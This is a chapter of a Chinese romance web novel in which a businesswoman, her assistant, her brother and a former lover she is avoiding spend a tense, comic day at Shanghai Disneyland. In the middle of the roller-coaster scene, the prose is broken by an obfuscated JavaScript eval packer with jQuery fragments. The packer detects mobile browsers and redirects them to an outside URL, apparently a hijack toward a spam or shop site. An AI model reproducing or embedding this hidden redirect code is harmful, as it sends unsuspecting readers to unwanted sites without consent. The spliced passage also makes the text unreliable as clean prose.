又是艳阳天。
和京州那种醒来时喉咙干涩发痒的燥热完全不同,沪市的夏天更像是蒙着一层刚出锅蒸笼上的厚重蒸布,热腾腾冒着水珠,湿漉漉却又憋闷得让人喘不过气。
顾念辞是不愿意在这么热的天气出门的,无奈许曦和顾辰溪都坚持,说着来沪市不去迪士尼,简直白来一趟。
她不好扫兴,毕竟他们都忙,下次能有这样的机会,说不准到什么时候了。
检票入口,许曦远远就望见了顾辰溪,朝他挥手,顾念辞也顺着看过去。
只一眼,她就如遭晴天霹雳,愣在原地。
她就说吧,她真不应该答应出来玩……
见到他的那一刻,她突然觉得这几日的平淡就好像她为自己打造的虚幻乌托邦,美丽而脆弱,总会有被现实一击而碎的那天。
没想到,这天来得那么快。
男人穿着最普通的运动套装,衣服宽松轻薄,隐约露出几块肌理流畅的腹肌。他身量高大,在人群中格外突出,冷冷站在那,有几分唬人的气场。
“Cr……”许曦走近,兴奋大喊,看清顾辰溪旁边的人也傻眼了。
顾辰溪疑惑两人怪异的表情,还是率先开口,“姐……这是梁予安,我的高中同学,你还记得吗?”
记得啊……又何止是记得。
她扯出一抹浅淡的微笑,垂下眼帘,轻轻点头:“嗯。”
许曦反应过来,很有眼色地补充:“当然记得,梁总现在可是我们景辞的大客户呢!”
“真的吗?予安你怎么没告诉我啊?”顾辰溪吃惊,问向一旁冷淡的男人。
他微不可及讥笑一声:“还没来得及。”
气氛莫名陷入尴尬,顾辰溪以为是他自作主张,不好意思挠挠鼻尖,“姐,予安他说来沪市出差,顺便想看看我。可是我后面几天有训练,只有今天有时间,所以……就把他带过来了。”说完他又小心翼翼问:“没提前给你说,你不会生气吧?”
顾念辞朝他舒展一笑,摇头:“怎么会,我当然不会介意。”
“只是梁总竟然也来沪市出差,真的好巧。”
“不巧,工作安排而已。”他目色微凉,淡淡说道。
许曦看着眼前三人诡异的对话,抓耳挠腮,表情精彩纷呈。她低下头快速整理好,“顾总!梁总!还有Cr……”她注意到顾辰溪戴了口罩,应该是不想被认出,马上改了口:“辰溪帅哥!咱们赶紧排队检票吧!一会儿人要多了!”
她一提醒,顾念辞也不磨蹭,转身就去检票,后面两个男人利落跟了上去。
许曦心里暗自嘀咕,天下哪有这么巧的事,顾总这才刚到沪市没几天,梁总后脚就跟来。
她并不知道顾念辞和梁予安的前尘旧事,只以为他们是暧昧期闹别扭,所以还特意去和顾辰溪排了同一队。
他们那队排得快,许曦已经和顾辰溪走到最前面,把顾念辞急切求助的眼神远远抛在脑后。
人在尴尬的时候总是很忙,顾念辞一秒钟八百个动作,一点儿都闲不下来,不让梁予安有一丝一毫的间隙过来搭话。梁予安表情戏谑,单手插兜,淡淡瞥着她一会儿拿起手机发消息,一会儿打起电话,忍俊不禁。
终于检完票,四人汇合,顾念辞默默拉住许曦,不让她再乱跑。
“顾总,你干嘛掐我手!”许曦吃痛,喊了出声。
顾念辞警告看了她一眼,许曦接收到信息,马上闭上嘴巴,挽上她胳膊。
进门就看到一家卖发箍的小摊,许曦两眼放光,拖着她过去。
小摊老板是个年纪不大的女孩子,看到顾念辞她们后面还跟着两个帅哥,吆喝道:“帅哥!这些发箍都是我们乐园的限定角色,给你们各自的女朋友买一个吧。”
顾辰溪脸瞬间爆红,冷白皮显得他脸颊两侧酡红格外突兀,他磕磕巴巴解释:“老板,不是,我们不是……”
顾念辞接过话茬,“老板,您看错了,这是我的妹妹和弟弟。”
弟弟?梁予安眉头微蹙,心底冷哼,她还真是会给自己认亲戚。
老板尴尬一笑,“哎,美女不好意思啊,是我看错了。不过你们这一家子颜值真高啊!”
“你们看看吧,有喜欢的就买,我买单。”
老板喜笑颜开,连忙夸了顾念辞好几句,又夸她漂亮,又夸她对弟弟妹妹真好。
她正看着呢,头上突然多了什么东西,下意识去摸,摸到一片毛茸茸。
许曦戴着一双小兔子耳朵,眼睛亮晶晶:“顾总,我戴小兔子好看吗?你试试这个小狐狸,感觉特别适合!”
“而且这小兔子和小狐狸在电影里还是一对呢!”
顾念辞见她高兴,便随她戴着了。过去看他们选好了没,她扫码付钱。
顾辰溪不做表情时有几分呆呆的清冷气质,现在戴着一副黑色猫耳,好像一只忧郁懵懂的暹罗猫。
至于梁予安……
许曦捂着嘴,使劲憋着笑意,可还是忍不住,哈哈大笑。
“哈哈哈哈哈,顾总你看梁总选了什么?”
梁予安依旧臭着一张俊脸,头上却顶着一双可爱到爆的粉白色兔子耳朵,软萌的兔耳贴着他凌乱的发丝,摇摇晃晃的,和他铁青的脸色仿佛两个世界。
顾念辞看了一眼,就有点不忍直视,也跟着大笑起来。
“笑够了吗?”他咬着牙挤出几个字。
“你,你怎么选了这个!”顾念辞是真好奇,难道他转性了,突然喜欢兔子这种可爱的动物了?
他别扭地侧过脸,“因为它最贵。”
听到他这句话,慢了半拍的顾辰溪,终于回过神来笑出声。
“顾总,其实吧,我觉得……梁总戴这个……还真的有点,有点可爱呢?”
顾念辞看他一眼,直接破功。
啊啊啊啊不行,太好笑了!
笑够之后,她忍不住伸手抓了一把兔耳,“既然戴这么可爱的小兔子,就别臭着一张脸了,好不搭。”
梁予安轻咳一声,拉开一点距离,耳根却溢上粉色。
顾念辞维持着微笑,自然收回手,又挽上了许曦胳膊。
许曦提议坐过山车,顾念辞下意识看向梁予安,他低着头,不知道在想什么。
她被许曦拉走去排队,心口却像是被什么东西堵住。
“顾总,到我们了!”许曦激动大喊。
“哦哦,好。”她反应过来,只是表情不太好,忍不住回头看。
梁予安站在那,没再往前走。
她松了口气,像个乖巧的孩子,任由许曦牵着手走。直到她坐下系好安全带,身边的光影被高大身影遮蔽。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238276|192664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她惶恐,瞪大双眼:“你怎么坐上来了?快下去啊!”
他不言语,只自顾地给自己系安全带。
他这个人,难道不知道自己恐高吗?!
工作人员开始催促,顾念辞心跳飞快,气血猛然上涌。
“请各位顾客检查好自己的安全带,我们项目马上开始。”
不能……不能。
“啪嗒”她心一横,电光火石间替他和自己解开安全带,一鼓作气拉着他手直接跑了出去。
“顾总?!马上开始了你要去干嘛啊!”许曦焦急担心的声音在下一秒机器启动后消散在空中,接着就是刺耳的尖叫声。
直到喊叫声彻底消失在耳边,顾念辞甩开手,“咳咳咳……”跑得太急,她岔气了。
带着温度的宽厚大掌顺着她后背轻轻拍打,身体像是有了记忆,隔着衣服的肌肤变得发烫,条件反射般和某些场景产生共鸣。
顾念辞站起身,气愤不已:“你不知道自己恐高吗?为什么还要去坐过山车?”
她澄澈的浅色眼眸含着名为担忧的密钥,一向冷静的面具仿佛也出现裂隙。
梁予安不怒反笑,薄唇勾起,笑得愈发灿烂。
顾念辞看他笑,越想越气。
她真是管得宽,他自己的身体,他都不在乎,她着什么急!
可惜花了那么长时间排队,都没玩成。
还有她突然拉着梁予安跑走,许曦和顾辰溪现在肯定很担心他们。
她翻了个白眼,给许曦发消息,让他们等会来这里找他们。
“圆圆?”
“嗯。”她下意识回应,很快又蹙起眉头。
说好的到此为止呢?他不死心步步紧逼就算了,可最让她不想承认的是,她的底线和原则也在因为他一步步降低。
感情这事说不清道不明,最忌讳心软摇摆,如果不能快刀斩乱麻,结果只能是纠缠不清。都是因为她,都是她无形的纵容才导致他们现在的局面。
眉心多了一抹温热,白润的指尖轻轻抚着她眉心,把她皱着的眉头抚平。
她心下微动,后退一步,只见他瞳孔微眯,笑看着她。
他问:“为什么拉黑我?”
一想到第二天他美滋滋地给她发消息,结果却只看到刺眼通红的感叹号,他就要气的吐血。特意去景辞找她,却被告知她去沪市出差了。
每次都这样,永远都只让他看她的背影。
五年前是这样,五年后还是这样。
他还是把自己看得太高了,连鸭子可能都不如,更像是她养的一条狗。高兴了就喂根火腿肠,不高兴了就有多远滚多远。
他怒火中烧,也把她拉黑了。
联系人界面变为空白,他居然感到一丝解脱,可下一秒心里就好似被虫蚁咬掉一块,空落落的。
一个晚上,不到七个小时,他就想通了,定好了去沪市的机票。
“我们不是说好了吗,到此为止。”她轻轻地说。
不知道是在说服他,还是在说服自己。
“以后合作上有问题,许曦可以去联系你的助理。”
梁予安气笑了,这都什么时候了,她竟然还想着合作的事。
刚要开口,一道清冷声音响起。
“……姐,予安,你们没事吧?”